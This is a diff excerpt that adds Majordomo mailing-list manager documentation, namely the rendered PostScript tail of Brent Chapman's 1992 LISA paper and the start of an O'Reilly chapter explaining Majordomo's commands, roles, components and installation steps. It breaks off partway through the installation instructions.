Y(SAGE)s +571 X(mailing)s +813 X(lists)s +959 X(on)s +1062 X(USENIX)s +1306 X(.ORG,)s +1516 X(and)s +1648 X(to)s +1736 X(run)s +360 X +2692 Y(the)s +469 X("Majordomo)s +810 X(-Users")s +1038 X(and)s +1161 X("Majordomo)s +1502 X(-Announce")s +360 X +2765 Y(mailing)s +599 X(lists)s +742 X(at)s +825 X(GreatCircle)s +1138 X(.COM)s +1340 X(\(see)s +1481 X(the)s +1596 X("Availa-)s +360 X +2838 Y(bility")s +577 X(section)s +815 X(for)s +940 X(more)s +1125 X(information)s +1489 X(about)s +1686 X(these)s +360 X +2911 Y(lists\))s +491 X(.)s +555 X(It's)s +669 X(been)s +819 X(in)s +895 X(operation)s +1171 X(on)s +1261 X(USENIX)s +1505 X(.ORG)s +1686 X(since)s +360 X +2984 Y(late)s +481 X(June,)s +643 X(1992)s +775 X(.)s +815 X(In)s +893 X(the)s +998 X(two)s +1122 X(months)s +1342 X(between)s +1589 X(then)s +1728 X(and)s +360 X +3057 Y(the)s +482 X(time)s +642 X(this)s +779 X(paper)s +967 X(was)s +1110 X(written,)s +1356 X(it)s +1433 X(has)s +1561 X(processed)s +360 X +3130 Y(almost)s +572 X(1800)s +737 X(requests,)s +1006 X(all)s +1108 X(without)s +1346 X(encountering)s +1728 X(any)s +360 X +3203 Y(major)s +545 X(bugs)s +699 X(or)s +783 X(problems)s +1059 X(\(though)s +1293 X(a)s +1351 X(number)s +1582 X(of)s +1665 X(minor)s +360 X +3276 Y(bugs)s +512 X(have)s +665 X(been)s +818 X(found)s +1000 X(and)s +1124 X(corrected\))s +1395 X(.)s +1462 X(A)s +1538 X(number)s +1769 X(of)s +360 X +3349 Y(other)s +527 X(sites)s +677 X(requested)s +963 X(and)s +1089 X(received)s +1345 X(beta)s +1457 X(-test)s +1602 X(versions)s +360 X +3422 Y(of)s +437 X(the)s +541 X(program,)s +805 X(but)s +912 X(I)s +956 X(haven't)s +1178 X(heard)s +1349 X(back)s +1498 X(from)s +1650 X(any)s +1769 X(of)s +360 X +3495 Y(them)s +516 X(that)s +639 X(they've)s +861 X(begun)s +1045 X(using)s +1211 X(the)s +1315 X(software)s +1567 X(yet)s +1649 X(.)s +360 X +3589 Y +504 X(While)s +693 X(Majordomo)s +1033 X(is)s +1104 X(similar)s +1317 X(to)s +1395 X(and)s +1517 X(inspired)s +1758 X(by)s +360 X +3662 Y(Listserv,)s +616 X(I)s +660 X(haven't)s +882 X(really)s +1057 X(attempted)s +1344 X(to)s +1418 X(make)s +1585 X(it)s +1645 X(a)s +1697 X(List-)s +360 X +3735 Y(serv)s +505 X(clone)s +650 X(.)s +723 X(I've)s +865 X(chosen)s +1085 X(to)s +1172 X(use)s +1296 X(many)s +1479 X(of)s +1569 X(the)s +1686 X(same)s +360 X +3808 Y(commands)s +683 X(as)s +773 X(Listserv,)s +1040 X(but)s +1158 X(I've)s +1298 X(often)s +1468 X(used)s +1623 X(slightly)s +360 X +3881 Y(different)s +617 X(syntaxes)s +874 X(for)s +978 X(some)s +1146 X(commands;)s +1482 X(for)s +1587 X(instance,)s +360 X +3954 Y(the)s +471 X(Listserv)s +716 X(syntax)s +919 X(for)s +1025 X("subscribe")s +1360 X(is)s +1434 X("subscribe)s +1741 X +stdencoding /NTimes-Italic /Times-Italic RE +/f.I /NTimes-Italic findfont def +f.I 10 Z(list)s +360 X +4027 Y(real_name)s +f.R 10 Z(",)s +714 X(as)s +796 X(opposed)s +1043 X(to)s +1121 X(the)s +1229 X(Majordomo)s +1569 X(syntax)s +1769 X(of)s +360 X +4100 Y("subscribe)s +662 X +f.I 10 Z(list)s +768 X +f.R 10 Z([)s +f.I 10 Z(address)s +f.R 10 Z(]")s +1046 X(.)s +1108 X(This)s +1250 X(may)s +1388 X(not)s +1496 X(have)s +1645 X(been)s +1794 X(a)s +360 X +4173 Y(good)s +528 X(idea;)s +695 X(perhaps)s +938 X(I)s +996 X(should)s +1209 X(have)s +1371 X(either)s +1560 X(made)s +1742 X(the)s +360 X +4246 Y(Majordomo)s +698 X(syntax)s +896 X(identical)s +1152 X(to)s +1228 X(the)s +1333 X(Listserv)s +1572 X(syntax)s +1769 X(or)s +360 X +4319 Y(made)s +542 X(it)s +617 X(completely)s +952 X(different)s +1182 X(.)s +1237 X(The)s +1379 X(copy)s +1546 X(of)s +1639 X(Major-)s +360 X +4392 Y(domo)s +560 X(running)s +815 X(on)s +930 X(USENIX)s +1174 X(.ORG)s +1380 X(uses)s +1544 X(the)s +1674 X(email)s +360 X +4465 Y(address)s +583 X("Listserv",)s +893 X(not)s +1001 X("Majordomo";)s +1411 X(it's)s +1520 X(not)s +1628 X(clear)s +1783 X(if)s +360 X +4538 Y(that)s +483 X(was)s +609 X(a)s +661 X(good)s +815 X(idea,)s +966 X(since)s +1126 X(it's)s +1234 X(not)s +1341 X(really)s +1516 X(Listserv)s +1732 X(.)s +2016 X +448 Y +2555 X +f.B 10 Z(Future)s +2774 X(Work)s +2016 X +557 Y +2160 X +f.R 10 Z(The)s +2293 X(next)s +2437 X(major)s +2622 X(set)s +2726 X(of)s +2811 X(features)s +3053 X(I)s +3105 X(intend)s +3302 X(to)s +3384 X(add)s +2016 X +630 Y(are)s +2123 X(to)s +2200 X(support)s +2424 X(email)s +2599 X(retrieval)s +2848 X(of)s +2928 X(\256les)s +3065 X(through)s +3295 X(Major-)s +2016 X +703 Y(domo)s +2167 X(.)s +2237 X(I)s +2290 X(need)s +2447 X(to)s +2530 X(look)s +2679 X(at)s +2759 X(mechanisms)s +3122 X(and)s +3250 X(syntaxes)s +2016 X +776 Y(for)s +2129 X(making)s +2365 X(\256les)s +2513 X(and)s +2645 X(directories)s +2964 X(readable,)s +3243 X(writable,)s +2016 X +849 Y(and)s +2148 X(searchable)s +2467 X(via)s +2585 X(email)s +2735 X(.)s +2810 X(I)s +2869 X(intend)s +3073 X(to)s +3162 X(support)s +3398 X(the)s +2016 X +922 Y(notion)s +2209 X(of)s +2287 X("open")s +2493 X(and)s +2611 X("closed")s +2858 X(\256le)s +2966 X(directories)s +3271 X(\(similar)s +2016 X +995 Y(to)s +2106 X(the)s +2226 X("open")s +2448 X(and)s +2583 X("closed")s +2847 X(mailing)s +3091 X(lists)s +3239 X(currently)s +2016 X +1068 Y(implemented\);)s +2431 X(only)s +2573 X(authorized)s +2879 X(people)s +3080 X(\(where)s +3288 X(author-)s +2016 X +1141 Y(ization)s +2239 X(might)s +2435 X(be)s +2539 X(determined)s +2881 X(by)s +2988 X(knowledge)s +3321 X(of)s +3417 X(an)s +2016 X +1214 Y(appropriate)s +2349 X(password,)s +2646 X(or)s +2730 X(by)s +2825 X(membership)s +3184 X(on)s +3279 X(a)s +3338 X(mail-)s +2016 X +1287 Y(ing)s +2125 X(list)s +2233 X(associated)s +2534 X(with)s +2678 X(the)s +2785 X(directory\))s +3073 X(will)s +3203 X(be)s +3291 X(able)s +3428 X(to)s +2016 X +1360 Y(retrieve)s +2246 X(\256les)s +2383 X(from)s +2537 X("closed")s +2787 X(directories)s +3070 X(.)s +3134 X(I)s +3181 X(also)s +3313 X(intend)s +2016 X +1433 Y(to)s +2093 X(support)s +2318 X("writable")s +2618 X(and)s +2740 X("read)s +2882 X(-only")s +3075 X(directories)s +3384 X(and)s +2016 X +1506 Y(\256les)s +2128 X(.)s +2234 X(I'm)s +2397 X(going)s +2615 X(to)s +2734 X(consider)s +3027 X(special)s +3281 X(support)s +2016 X +1579 Y(speci\256cly)s +2299 X(for)s +2402 X(mailing)s +2633 X(list)s +2742 X(archives,)s +3009 X(to)s +3088 X(allow)s +3264 X(users)s +3428 X(to)s +2016 X +1652 Y(request)s +2243 X(only)s +2395 X(messages)s +2682 X(matching)s +2964 X(certain)s +3180 X(patterns)s +3425 X(or)s +2016 X +1725 Y(containing)s +2325 X(speci\256ed)s +2590 X(keywords)s +2875 X(from)s +3032 X(a)s +3090 X(given)s +3266 X(archive,)s +2016 X +1798 Y(rather)s +2225 X(than)s +2392 X(forcing)s +2636 X(them)s +2822 X(to)s +2926 X(retrieve)s +3183 X(the)s +3317 X(whole)s +2016 X +1871 Y(archive)s +2235 X(and)s +2353 X(do)s +2441 X(the)s +2545 X(search)s +2738 X(themselves)s +3036 X(.)s +2016 X +1965 Y +2160 X(At)s +2258 X(some)s +2430 X(point,)s +2615 X(I)s +2668 X(\(or)s +2777 X(someone)s +3046 X(else\))s +3205 X(should)s +3414 X(go)s +2016 X +2038 Y(back)s +2216 X(in)s +2342 X(and)s +2512 X(make)s +2731 X(Majordomo)s +3119 X(work)s +3329 X(under)s +2016 X +2111 Y("taintperl",)s +2341 X(so)s +2430 X(that)s +2561 X(the)s +2673 X("wrapper")s +2975 X(program)s +3231 X(won't)s +3417 X(be)s +2016 X +2184 Y(necessary)s +2276 X(.)s +2348 X(I)s +2403 X(\256rmly)s +2599 X(believe)s +2826 X(that)s +2960 X("taintperl")s +3271 X(is)s +3348 X(good)s +2016 X +2257 Y(and)s +2157 X(valuable,)s +2446 X(and)s +2588 X(that)s +2735 X(operating)s +3033 X(under)s +3230 X(it)s +3314 X(would)s +2016 X +2330 Y(improve)s +2279 X(the)s +2402 X(security)s +2654 X(of)s +2749 X(Majordomo;)s +3122 X(I)s +3184 X(just)s +3321 X(didn't)s +2016 X +2403 Y(have)s +2169 X(the)s +2279 X(time)s +2427 X(to)s +2507 X(work)s +2671 X(out)s +2784 X(all)s +2880 X(the)s +2990 X(details)s +3194 X(during)s +3395 X(my)s +2016 X +2476 Y(initial)s +2196 X(implementation)s +2639 X(phase)s +2791 X(.)s +2016 X +2570 Y +2160 X(I'd)s +2268 X(like)s +2400 X(to)s +2483 X(add)s +2610 X(a)s +2671 X(number)s +2906 X(of)s +2993 X(minor)s +3184 X(features)s +3428 X(to)s +2016 X +2643 Y(the)s +2153 X(program,)s +2450 X(including)s +2757 X(suppression)s +3125 X(of)s +3234 X(duplicate)s +2016 X +2716 Y(addresses)s +2303 X(in)s +2386 X(mailing)s +2622 X(lists)s +2762 X(\(but)s +2901 X(is)s +2978 X("joe@foobar)s +3321 X(.com")s +2016 X +2789 Y(the)s +2127 X(same)s +2294 X(as)s +2379 X("joe@workstatio)s +2831 X(n)s +2864 X(.foobar)s +3054 X(.com"?\),)s +3310 X(recog-)s +2016 X +2862 Y(nition)s +2200 X(of)s +2283 X(unambiguous)s +2669 X(command)s +2960 X(abbreviations,)s +3366 X(sup-)s +2016 X +2935 Y(port)s +2159 X(for)s +2272 X(continuation)s +2642 X(lines)s +2805 X(\(some)s +3004 X(mailers)s +3237 X(insist)s +3414 X(on)s +2016 X +3008 Y(auto)s +2131 X(-wrapping)s +2426 X(text)s +2549 X(to)s +2623 X(\256t)s +2701 X(an)s +2786 X(80)s +2852 X(-column)s +3096 X(display;)s +3331 X(while)s +2016 X +3081 Y(this)s +2135 X(is)s +2202 X(often)s +2361 X(preferable)s +2654 X(to)s +2728 X(paragraph)s +2994 X(-long)s +3156 X(lines)s +3305 X(in)s +3379 X(text)s +2016 X +3154 Y(messages,)s +2328 X(it)s +2409 X(wreaks)s +2641 X(havoc)s +2843 X(with)s +3005 X(long)s +3166 X(Majordomo)s +2016 X +3227 Y(commands\),)s +2373 X(support)s +2600 X(for)s +2705 X(a)s +2763 X(command)s +3054 X(indicating)s +3350 X(what)s +2016 X +3300 Y(return)s +2204 X(address)s +2433 X(Majordomo)s +2776 X(should)s +2982 X(use)s +3100 X(for)s +3207 X(its)s +3301 X(replies)s +2016 X +3373 Y(\(for)s +2158 X(use)s +2290 X(by)s +2399 X(folks)s +2575 X(whose)s +2787 X(mailers)s +3027 X(generate)s +3296 X(broken)s +2016 X +3446 Y(reply)s +2181 X(addresses)s +2465 X(in)s +2545 X(the)s +2655 X(headers;)s +2906 X(this)s +3032 X(might,)s +3234 X(however,)s +2016 X +3519 Y(have)s +2183 X(security)s +2436 X(implications)s +2809 X(that)s +2951 X(would)s +3158 X(need)s +3325 X(to)s +3417 X(be)s +2016 X +3592 Y(carefully)s +2284 X(considered\),)s +2643 X(and)s +2770 X(support)s +3000 X(for)s +3108 X(commands)s +3428 X(in)s +2016 X +3665 Y(the)s +2127 X("Subject:")s +2430 X(line)s +2560 X(of)s +2644 X(the)s +2755 X(message)s +2982 X(.)s +3050 X(I)s +3101 X(might)s +3285 X(look)s +3431 X(at)s +2016 X +3738 Y(making)s +2238 X(Majordomo)s +2574 X(more)s +2733 X(Listserv)s +2949 X(-compatible)s +3269 X(.)s +2016 X +3865 Y +2581 X +f.B 10 Z(Availability)s +2016 X +3974 Y +2160 X +f.R 10 Z(The)s +2299 X(package)s +2553 X(is)s +2633 X(available)s +2911 X(for)s +3023 X(anonymous)s +3365 X(FTP)s +2016 X +4047 Y(on)s +2183 X(machine)s +2511 X(FTP)s +2626 X(.GreatCircle)s +2956 X(.COM,)s +3242 X(in)s +3394 X(\256le)s +2016 X +4120 Y("pub/majordomo)s +2468 X(.tar)s +2556 X(.Z")s +2641 X(.)s +2756 X(If)s +2876 X(you)s +3051 X(do)s +3193 X(not)s +3354 X(have)s +2016 X +4193 Y(anonymous)s +2358 X(FTP)s +2508 X(access,)s +2732 X(contact)s +2961 X(me)s +3078 X(\(contact)s +3329 X(infor-)s +2016 X +4266 Y(mation)s +2257 X(is)s +2357 X(in)s +2464 X(the)s +2601 X("Author)s +2872 X(Information")s +3273 X(section,)s +2016 X +4339 Y(below\),)s +2243 X(and)s +2364 X(I'll)s +2471 X(try)s +2570 X(to)s +2647 X(get)s +2754 X(a)s +2809 X(copy)s +2962 X(to)s +3038 X(you)s +3161 X(by)s +3251 X(email)s +3425 X(or)s +2016 X +4412 Y(some)s +2179 X(other)s +2338 X(means)s +2509 X(.)s +2016 X +4506 Y +2160 X(If)s +2237 X(you)s +2369 X(install)s +2567 X(Majordomo,)s +2931 X(please)s +3132 X(add)s +3262 X(yourself)s +2016 X +4579 Y(to)s +2245 X(the)s +2504 X(mailing)s +2885 X(list)s +3144 X(Majordomo)s +3458 X(-)s +2016 X +4652 Y(Users@GreatCir)s +2463 X(cle)s +2542 X(.COM,)s +2768 X(which)s +2972 X(is)s +3058 X(for)s +3176 X(discussions)s +2016 X +4725 Y(concerning)s +2337 X(use)s +2451 X(of,)s +2548 X(problems)s +2821 X(with,)s +2981 X(and)s +3101 X(enhancements)s +360 X +4967 Y +f.B 10 Z(142)s +1862 X(1992)s +2016 X(LISA)s +2193 X(VI)s +2289 X(\261)s +2344 X(October)s +2600 X(19)s +2666 X(-23,)s +2793 X(1992)s +2947 X(\261)s +3002 X(Long)s +3171 X(Beach,)s +3384 X(CA)s +5280 Y +pagebot + +%%Page: 143 9 +pagetop +stdencoding /NTimes-Bold /Times-Bold RE +/f.B /NTimes-Bold findfont def +f.B 10 Z +600 X +215 Y(Chapman)s +2339 X(Majordomo:)s +2723 X(How)s +2878 X(I)s +2926 X(Manage)s +3177 X(17)s +3265 X(Mailing)s +3510 X(Lists)s +3669 X(.)s +3686 X(.)s +3703 X(.)s +600 X +448 Y +stdencoding /NTimes-Roman /Times-Roman RE +/f.R /NTimes-Roman findfont def +f.R 10 Z(for)s +704 X(Majordomo)s +1018 X(.)s +1085 X(Announcements)s +1546 X(of)s +1629 X(new)s +1768 X(releases)s +2009 X(of)s +600 X +521 Y(Majordomo)s +1012 X(will)s +1214 X(be)s +1374 X(sent)s +1579 X(to)s +1728 X(Majordomo)s +2042 X(-)s +600 X +594 Y(Announce@Great)s +1083 X(Circle)s +1247 X(.COM)s +1415 X(.)s +1476 X(You)s +1612 X(can)s +1727 X(add)s +1846 X(yourself)s +600 X +667 Y(to)s +679 X(either)s +859 X(or)s +941 X(both)s +1086 X(lists)s +1222 X(by)s +1315 X(sending)s +1549 X(appropriate)s +1879 X(Major-)s +600 X +740 Y(domo)s +814 X(commands)s +1166 X(to)s +1281 X(the)s +1427 X(electronic)s +1756 X(mail)s +1940 X(alias)s +600 X +813 Y(Majordomo@Grea)s +1105 X(tCircle)s +1288 X(.COM)s +1456 X(.)s +600 X +940 Y +1043 X +f.B 10 Z(Author)s +1272 X(Information)s +600 X +1049 Y +744 X +f.R 10 Z(Brent)s +915 X(Chapman)s +1193 X(is)s +1261 X(a)s +1315 X(consultant)s +1614 X(in)s +1690 X(the)s +1796 X(San)s +1920 X(Fran-)s +600 X +1122 Y(cisco)s +779 X(Bay)s +927 X(Area,)s +1115 X(specializing)s +1477 X(in)s +1570 X(the)s +1692 X(con\256guration,)s +600 X +1195 Y(operation,)s +897 X(and)s +1021 X(networking)s +1353 X(of)s +1437 X(UNIX)s +1632 X(systems)s +1844 X(.)s +1912 X(He)s +2019 X(is)s +600 X +1268 Y(also)s +745 X(currently)s +1023 X(Postmaster)s +1354 X(for)s +1468 X(SAGE)s +1679 X(\(the)s +1820 X(USENIX)s +600 X +1341 Y(Special)s +868 X(Technical)s +1203 X(Group)s +1442 X(focusing)s +1741 X(on)s +1878 X(system)s +600 X +1414 Y(administration)s +1011 X(issues\))s +1193 X(.)s +1256 X(During)s +1468 X(the)s +1574 X(last)s +1692 X(several)s +1906 X(years,)s +600 X +1487 Y(he)s +697 X(has)s +820 X(been)s +980 X(an)s +1078 X(operations)s +1391 X(manager)s +1656 X(for)s +1768 X(a)s +1833 X(\256nancial)s +600 X +1560 Y(services)s +883 X(company,)s +1211 X(a)s +1307 X(world)s +1462 X(-renowned)s +1812 X(corporate)s +600 X +1633 Y(research)s +848 X(lab,)s +972 X(a)s +1028 X(software)s +1284 X(engineering)s +1625 X(company,)s +1912 X(and)s +2034 X(a)s +600 X +1706 Y(hardware)s +922 X(engineering)s +1310 X(company)s +1554 X(.)s +1666 X(He)s +1817 X(holds)s +2034 X(a)s +600 X +1779 Y(Bachelor)s +865 X(of)s +944 X(Science)s +1177 X(degree)s +1379 X(in)s +1455 X(Electrical)s +1738 X(Engineering)s +600 X +1852 Y(and)s +727 X(Computer)s +1023 X(Science)s +1262 X(from)s +1421 X(the)s +1533 X(University)s +1845 X(of)s +1930 X(Cali-)s +600 X +1925 Y(fornia,)s +802 X(Berkeley)s +1043 X(.)s +1108 X(He)s +1212 X(can)s +1332 X(be)s +1422 X(contacted)s +1706 X(by)s +1799 X(electronic)s +600 X +1998 Y(mail)s +760 X(to)s +852 X(Brent@GreatCirc)s +1325 X(le)s +1374 X(.COM,)s +1599 X(by)s +1704 X(phone)s +1905 X(at)s +1993 X(+1)s +600 X +2071 Y(415)s +729 X(962)s +858 X(0841,)s +1037 X(by)s +1133 X(FAX)s +1296 X(at)s +1375 X(+1)s +1476 X(415)s +1605 X(962)s +1734 X(0842,)s +1913 X(or)s +1998 X(by)s +600 X +2144 Y(U)s +648 X(.S)s +702 X(.)s +759 X(Mail)s +926 X(to)s +1018 X(Great)s +1207 X(Circle)s +1411 X(Associates,)s +1755 X(1057)s +1926 X(West)s +600 X +2217 Y(Dana)s +763 X(St)s +819 X(.,)s +875 X(Mountain)s +1156 X(View,)s +1340 X(CA)s +1454 X(94041)s +1619 X(.)s +600 X +4967 Y +f.B 10 Z(1992)s +754 X(LISA)s +931 X(VI)s +1027 X(\261)s +1082 X(October)s +1338 X(19)s +1404 X(-23,)s +1531 X(1992)s +1685 X(\261)s +1740 X(Long)s +1909 X(Beach,)s +2122 X(CA)s +3621 X(143)s +5280 Y +pagebot + +%%Page: 144 10 +pagetop +stdencoding /NTimes-Bold /Times-Bold RE +/f.B /NTimes-Bold findfont def +f.B 10 Z +360 X +4967 Y(144)s +1862 X(1992)s +2016 X(LISA)s +2193 X(VI)s +2289 X(\261)s +2344 X(October)s +2600 X(19)s +2666 X(-23,)s +2793 X(1992)s +2947 X(\261)s +3002 X(Long)s +3171 X(Beach,)s +3384 X(CA)s +5280 Y +pagebot + +%%Trailer +lastpage diff --git a/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/majordomo.ora b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/majordomo.ora new file mode 100644 index 0000000..047e8ef --- /dev/null +++ b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/majordomo.ora @@ -0,0 +1,1718 @@ +This file is the chapter about Majordomo from the Nutshell Handbook +"Managing Internet Information Services," written by Jerry Peek. +The chapter is (c) Copyright 1994 by O'Reilly & Associates, Inc., +and was included in the Majordomo distribution by permission of the +publisher. You may not edit, adapt, or redistribute changed versions +of this for other than your personal use without the express written +permission of O'Reilly & Associates. Sorry for the legal jargon; +we said that to protect our copyright! + +This draft chapter is current as of March 15, 1994 but might not be +kept up to date with the software. The book version may also become +different over time. + +In a few places, this chapter refers to previous chapters of the book. +If you want to see those chapters, too, you'll have to buy the book ;-) +(or borrow it). + +If you have comments or corrections, please send email to +bookquestions@ora.com, phone +1-707-829-0515, or send snail mail to +O'Reilly & Associates; 103A Morris Street; Sebastopol, CA 95472 USA. + + + +Majordomo is a set of programs written in Perl that automate operation +of multiple mailing lists. Majordomo automatically handles routine +requests to subscribe or unsubscribe; it also has "closed lists" that +route all subscription requests to a "list owner" for approval. It +also supports "moderated lists" that send all messages to the list +owner for approval before they're sent to subscribers. Once the list +is set up, it can be controlled by electronic mail, so the list owner +need not be on the machine where Majordomo is running. It can also +maintain simple archives and deliver them via e-mail. + +Although you don't need to know Perl to run Majordomo, the Perl +interpreter must be installed on the computer where you run Majordomo. +Perl's source code is freely available from archives around the +Internet, such as ftp.uu.net. You can also get ready-to-run versions +from the CD-ROM that comes with the book "UNIX Power Tools." (For more +information about Perl, see the Nutshell Handbooks "Learning Perl" by +Randal Schwartz and "Programming Perl" by Larry Wall and Randal +Schwartz.) + +Majordomo's developer and maintainer, Brent Chapman, developed +Majordomo for his own purposes (managing the mailing lists for SAGE, +the System Administrators Guild). He didn't try to make the software +do everything a list server could possibly do. Majordomo is popular +anyway; it's good software that fills a real need. This chapter covers +Majordomo version 1.62, which is available free via ftp. + +One of Majordomo's real strengths is its relative simplicity. You can +figure it out in a few hours. ListProcessor, another major mailing +list management system, requires much longer--so much so that we +couldn't cover it effectively in a book of this size. We've left it +for another book. But if you intend to manage huge lists, +ListProcessor provides lots of useful features that can make it well +worth the effort. We use ListProcessor for our company mailing lists. +Chapter 1 has a short comparison of Majordomo and ListProcessor. + +A good way to learn more about Majordomo is by subscribing to the +majordomo-users mailing list. Send a subscription request to +majordomo@greatcircle.com--see "A User's View of Majordomo", below, +for instructions. (Another list on the same host, majordomo-announce, +announces new versions of Majordomo as well as bug fixes. The +majordomo-workers list is for people who develop Majordomo.) + +The first section of this chapter gives an overview of Majordomo as it +is seen by users, list owners, and administrators; it also mentions a +planned new release, Majordomo 2.0. Then comes installation, creation +of lists, and testing. Finally there's a description of how to run and +maintain a list. + + +AN OVERVIEW OF MAJORDOMO + +Before we dip into the intricacies of setting up and running Majordomo +mailing lists, it will be helpful to get an overview of how it works +from the user's perspective, how the list owner manages a list, and how +the various programs that make up the Majordomo package work together. + + +A User's View of Majordomo + +First here's a user's guide to the Majordomo package. (Actually, this +is an introduction to majordomo, the program which provides all of +these functions.) It explains subscription, unsubscription, and all +the other Majordomo commands available to users. It also includes some +notes for the person running the list about who has permission to use +some commands. (The section "List Server Software" in Chapter 1 shows +how users interact with a list server.) + +A user can subscribe to a list, or ask about his or other users' +subscriptions, by sending mail to the majordomo server, usually +majordomo@hostname. Put the commands in the body of the mail message +(not on the "Subject:" header component). Other than white space, the +commands must be the first text in the message body; in other words, +don't begin with "Dear Majordomo." + +In the sections below, items in brackets ([]) are optional. If you +include the optional item, don't type the brackets. + +- help + + Sends one-line summaries of majordomo commands. The first line of + output tells you which version of Majordomo the server is running. + +- info list + + Sends an introduction to the list "list". + +- lists + + Shows the lists served by this majordomo server. + +- subscribe list [address] + + This command subscribes a user to the named "list". Unless the user + includes the optional "address", Majordomo will use the e-mail + address in the mail message header ("Reply-to:", if any, otherwise + "From:") to send mail to the user. + +- unsubscribe list [address] + + This unsubscribes the user (or "address") from "list". + +- which [address] + + Tells the lists to which the user (or "address") is subscribed. + +- who list + + Lists the subscribers of "list". + +- index list + + Gives a listing of files in the "list" archive. If the list is + private, only members can run this command. Only for Majordomo + versions 1.54 and later. + +- get list filename + + Mails a file named "filename" from the "list" archive. If the list + is private, only members can run this command. Only for Majordomo + versions 1.54 and later. + +- end + + Stops reading the message. This is useful for users whose mailer + adds text (like a signature) to the end of a message. + + A line that starts with a dash (-) is also treated as an "end" + command by newer versions of Majordomo. Because many peoples' mail + message signatures start with some dashes, this avoids error + messages. + + +Majordomo for List Owners + +The list owner is the person (or persons) who will run day-to-day +operations of a mailing list by responding to mail messages from +Majordomo. Each mailing list operated by Majordomo can have its own +list owners. + +Majordomo has "open" and "closed" lists. A subscriber to an open list +will be approved automatically unless they specify an "address" +different from the one in their e-mail header. All subscriptions to +closed lists will be sent to the list owner for approval. + +If you'd like a list with the absolute minimum of maintenance (but also +a minimum of security), you could create an "auto" list. All +subscription or unsubscription requests will be honored without any +input from the list owner. For example, anyone could unsubscribe +anyone else. + +Majordomo also has "public" and "private" lists. In a public list, +subscribers have access to information about other subscribers through +the "who" and "which" commands; in a private list, they don't. When a +list is private, only subscribers can use the archive commands "index" +and "get". + +The owner can potentially receive four types of messages: requests to +approve subscriptions (or unsubscriptions), requests to approve +messages to the list, notifications of successful subscriptions or +unsubscriptions, and bounces (messages sent to the list that weren't +delivered). Which of these the owner receives, and how many, depends +on the setup of the list (and of course, how many members the list +has). Majordomo provides the "approve" script to help handle approval +of subscriptions and messages, and "bounce" to help handle bounces. + + +Majordomo for Administrators + +The administrator in this context is the person who installs Majordomo, +creates new lists, or changes the settings (moderated or not, private +or public, etc.) of existing lists. Unlike a list owner, the +administrator needs to have direct access to the system where Majordomo +is running. In many cases, the list owner and the administrator are +the same person, but they don't need to be. + +Majordomo is actually a suite of Perl scripts, not just one. In this +chapter, the name Majordomo (with an uppercase "M") refers to the whole +package of programs and files. majordomo (with a lowercase "m") means +the individual program with that name. Here is an outline of what each +program and file in the Majordomo package does: + +- "majordomo" (the program itself) is run each time a message arrives + for the address majordomo@hostname. It figures out what approval is + necessary and sends mail to the list owner as necessary, or simply + performs the requested commands. Unlike a lot of system services, + majordomo doesn't run constantly (as a daemon). It's started by your + system MTA when a message comes in. The disadvantage is that you + don't have much control over Majordomo on a busy system. The + advantage is that there's no daemon process to crash. + +- "resend" - When a message arrives to appear on a list, "resend" + checks the message according to its command line options. If the + message must be approved or if there are other problems, the message + is forwarded to the list owner. Otherwise, "resend" edits the + header, then hands the single message to the computer's MTA for + distribution to the list. "resend" rewrites headers of messages but + uses the system's mail transfer agent (MTA) for mail delivery to the + lists. + +- The "wrapper" program allows other Majordomo programs to run as a + "trusted user"--so programs can set the correct envelope sender + address. It's the only part of the Majordomo package that's written + in the C language. (The rest is in Perl.) + +- The "bounce" script helps owners handle subscribers whose mail is + bouncing. The "bounce-remind" script tries to notify those + subscribers about the problem. + +- The "approve" script is also for owners. It simplifies approval of + subscriptions or moderated messages. + +- "new-list" answers mail sent to a new list. Its replies ask people + to wait to send messages until the list owner opens the list for + business. + +- "request-answer" answers mail to the address "listname-request" + (see Chapter 2). The replies tell people to mail to majordomo--and + how to find out more about the server. + +- "majordomo.cf" sets the configuration of the Majordomo system. + +You can control whether a list is open, public, moderated, and several +other aspects of a list by creating files of the form +"listname.option". For example, to make a closed list, you simply +create an empty file called "listname.closed". (This will change in +Majordomo 1.90; you'll use an overall configuration file for each list +instead.) + +The owner is notified of all successful "subscribe" and "unsubscribe" +actions. If you don't want the owner to be notified, you can edit two +subroutines in the majordomo script: "welcome" sends subscription +notices; "do_unsubscribe" sends unsubscription notices. + + +Majordomo 2.0 is Coming + +Since late 1993, people have been working on major revisions to +Majordomo. A new version, 1.90, should be ready by the time this book +is printed. Version 1.90 has a new config file format and includes the +"digest" program as part of Majordomo. A list of the planned changes +for list owners is in the section called "Majordomo Commands for List +Owners". + +Majordomo 2.0 isn't cast in stone yet. Besides the changes in version +1.90, above, some of the major changes in version 2.0 will probably +be: + +- The local site can define new Majordomo commands and add to existing + commands. For instance, a site could change the "unsubscribe" + command to let users subscribe from all lists by sending + "unsubscribe *". + +- Replies can be edited automatically. For instance, large replies + could be split into a series of smaller messages. + +- The "help" command will take arguments. Instead of getting help for + all commands, a user could get help for just the "subscribe" command + by sending "help subscribe". + + + +INSTALLING MAJORDOMO + +In general, if you have a recent version of Perl on your UNIX system, +majordomo should work too. You'll need to set up the "majordomo.cf" +file, and maybe tweak a couple of the scripts. You'll also need a C +compiler for the "wrapper" program (although you can work around that +by copying a compiled version of "wrapper" from someone else who has +the same computer and operating system). But because the system is so +simple and the code is so straightforward, it isn't hard to solve +problems (especially if you've joined the majordomo-users mailing +list). + +In the directions below, a name like $whoami is a Perl variable. Most +variables I cover are defined in the "majordomo.cf" file (see below). + +**NOTE** Although I show a step-by-step procedure here, I can't promise +you that the following steps are exactly what you need for your +computer. Your system might be different. You may have a different +version of Majordomo than the one I installed. Please use these steps +as a GUIDE only. + +Here are the steps: + +1. Be sure that your system has Perl version 4.035 (or later) and its + libraries. + +2. Some sites give majordomo another name ("listmgr", "lists", etc.). + I don't recommend doing that unless you have a good reason: + especially as more documentation about Majordomo becomes available, + users may just get confused by giving the system other names. + Also, after Majordomo upgrades, you'll have to patch the system + again. + + If you decide to change the name, edit all of the code references + to majordomo that are visible to users. For example, change the + subject of mail messages that say "Majordomo results." You don't + need to change filenames like "majordomo.cf". You definitely + shouldn't change the help file line that says "This is the + Majordomo listmanager written by Brent Chapman." + +3. Pick a username, group name, and home directory for Majordomo. + A good name for both user and group is "majordom" (but not + "majordomo"; it's over the 8-character limit). I made the home + directory /usr/local/majordomo. + + As superuser, add that user and group to /etc/passwd and + /etc/group. Make the home directory, set its owner and group to + "majordom", 